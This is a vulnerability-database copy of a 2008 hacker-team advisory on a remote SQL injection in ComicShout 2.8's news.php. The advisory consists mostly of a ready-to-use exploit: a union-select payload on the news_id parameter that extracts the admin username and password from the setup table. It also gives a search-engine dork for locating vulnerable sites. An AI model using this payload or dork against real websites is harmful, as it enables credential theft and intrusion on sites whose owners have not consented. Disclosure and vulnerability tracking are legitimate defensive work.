Lucene search

comicshout28-sql.txt

🗓️ 02 Jun 2008 00:00:00Reported by JosSType

packetstorm🔗 packetstormsecurity.com👁 16 Views

Remote SQL injection vulnerability found in ComicShout 2.8, targeting news.php file.

AI Insights are available for you today

Leverage the power of AI to quickly understand vulnerabilities, impacts, and exploitability

`--==+=================== Spanish Hackers Team (www.spanish-hackers.com) =================+==--  
--==+ ComicShout 2.8 (news.php news_id) Remote SQL Injection Vulnerability +==--  
--==+====================================================================================+==--  
- dreaming of necessity is reason to comply -  
  
[+] Info:  
  
[~] Bug found by JosS  
[~] sys-project[at]hotmail.com  
[~] http://www.spanish-hackers.com  
[~] EspSeC & Hack0wn!.  
  
  
[~] Software: ComicShout 2.8  
[~] Exploit: Remote SQL Injection [High]  
[~] Vuln file: news.php  
  
[~] Dork: "Powered by ComicShout"  
  
[+] Exploit:  
  
[~] /news.php?news_id=[SQL]  
[~] 4+union+all+select+0,1,site_admin,site_pass+from+setup/*  
  
--==+=================== Spanish Hackers Team (www.spanish-hackers.com) =================+==--  
--==+ JosS +==--  
--==+====================================================================================+==--  
[+] [The End]  
  
`

Transform Your Security Services

Elevate your offerings with Vulners' advanced Vulnerability Intelligence. Contact us for a demo and discover the difference comprehensive, actionable intelligence can make in your security strategy.

Book a live demo

02 Jun 2008 00:00Current